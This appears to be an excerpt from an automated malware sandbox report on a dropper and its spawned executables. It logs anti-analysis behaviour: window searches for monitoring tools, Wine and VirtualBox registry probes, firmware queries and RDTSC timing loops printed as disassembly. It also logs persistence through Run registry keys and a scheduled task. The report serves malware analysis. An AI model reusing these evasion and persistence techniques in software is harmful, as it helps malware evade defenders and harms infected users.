Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run efe6fe4127.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run efe6fe4127.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b76bb5cee7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run b76bb5cee7.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run deecb7b612.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run deecb7b612.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003038001\deecb7b612.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\YQEN9A9QU4P1VROBPV5YS.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\99Q4Y3O9GBOXYTDVM9GPHI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003036001\efe6fe4127.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003037001\b76bb5cee7.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\U2242U1STHGPPKHG.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\KYFYC2TR3U1EFHESW60D8PFEZTPDJOT.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E29EB second address: 6E29FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a ja 00007F60A4BE8BD6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E29FB second address: 6E29FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1EF3 second address: 6E1F0B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F60A4BE8BE4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2057 second address: 6E205D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E205D second address: 6E208C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4BE8BE2h 0x00000007 jmp 00007F60A4BE8BE5h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push esi 0x0000000f push ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E208C second address: 6E209B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007F60A4E98EF6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E209B second address: 6E209F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E209F second address: 6E20A3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E20A3 second address: 6E20A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E46E6 second address: 6E478E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F60A4E98EF6h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jns 00007F60A4E98EF6h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push esi 0x00000019 jo 00007F60A4E98EF6h 0x0000001f pop esi 0x00000020 popad 0x00000021 nop 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F60A4E98EF8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000016h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c mov dword ptr [ebp+122D30F5h], edx 0x00000042 push 00000000h 0x00000044 mov ch, F1h 0x00000046 mov ecx, dword ptr [ebp+122D2F0Ah] 0x0000004c call 00007F60A4E98EF9h 0x00000051 js 00007F60A4E98F0Dh 0x00000057 jmp 00007F60A4E98F07h 0x0000005c push eax 0x0000005d jmp 00007F60A4E98F06h 0x00000062 mov eax, dword ptr [esp+04h] 0x00000066 pushad 0x00000067 jmp 00007F60A4E98F03h 0x0000006c push esi 0x0000006d push eax 0x0000006e push edx 0x0000006f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E478E second address: 6E47A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a jnl 00007F60A4BE8BDCh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E47A4 second address: 6E4851 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F60A4E98F04h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jne 00007F60A4E98F02h 0x00000013 pop eax 0x00000014 call 00007F60A4E98F04h 0x00000019 sub ecx, 2C3C484Fh 0x0000001f pop edx 0x00000020 push 00000003h 0x00000022 mov ch, 66h 0x00000024 mov esi, 44FD3245h 0x00000029 push 00000000h 0x0000002b mov ecx, dword ptr [ebp+122D2C3Ah] 0x00000031 push 00000003h 0x00000033 sub dword ptr [ebp+122D3147h], edx 0x00000039 push 860DF276h 0x0000003e je 00007F60A4E98F02h 0x00000044 jne 00007F60A4E98EFCh 0x0000004a add dword ptr [esp], 39F20D8Ah 0x00000051 pushad 0x00000052 mov dword ptr [ebp+122D2FA0h], ebx 0x00000058 xor edx, dword ptr [ebp+122D2BE6h] 0x0000005e popad 0x0000005f lea ebx, dword ptr [ebp+124495C4h] 0x00000065 mov ecx, 0746D4DCh 0x0000006a mov edi, edx 0x0000006c xchg eax, ebx 0x0000006d push edx 0x0000006e jnl 00007F60A4E98EF8h 0x00000074 pop edx 0x00000075 push eax 0x00000076 push ecx 0x00000077 push eax 0x00000078 push edx 0x00000079 push ecx 0x0000007a pop ecx 0x0000007b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4904 second address: 6E490E instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F60A4BE8BD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E490E second address: 6E4913 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E4913 second address: 6E4982 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F60A4BE8BD6h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xor dword ptr [esp], 5F537EAFh 0x00000014 call 00007F60A4BE8BDCh 0x00000019 push edi 0x0000001a mov cl, CDh 0x0000001c pop edi 0x0000001d pop esi 0x0000001e mov edx, edi 0x00000020 push 00000003h 0x00000022 push 00000000h 0x00000024 push ebx 0x00000025 call 00007F60A4BE8BD8h 0x0000002a pop ebx 0x0000002b mov dword ptr [esp+04h], ebx 0x0000002f add dword ptr [esp+04h], 00000015h 0x00000037 inc ebx 0x00000038 push ebx 0x00000039 ret 0x0000003a pop ebx 0x0000003b ret 0x0000003c cmc 0x0000003d mov dword ptr [ebp+122D1C8Fh], ebx 0x00000043 push 00000000h 0x00000045 mov esi, 23334FEEh 0x0000004a push 00000003h 0x0000004c mov esi, dword ptr [ebp+122D2E2Eh] 0x00000052 call 00007F60A4BE8BD9h 0x00000057 push eax 0x00000058 push edx 0x00000059 jo 00007F60A4BE8BD8h 0x0000005f pushad 0x00000060 popad 0x00000061 rdtsc
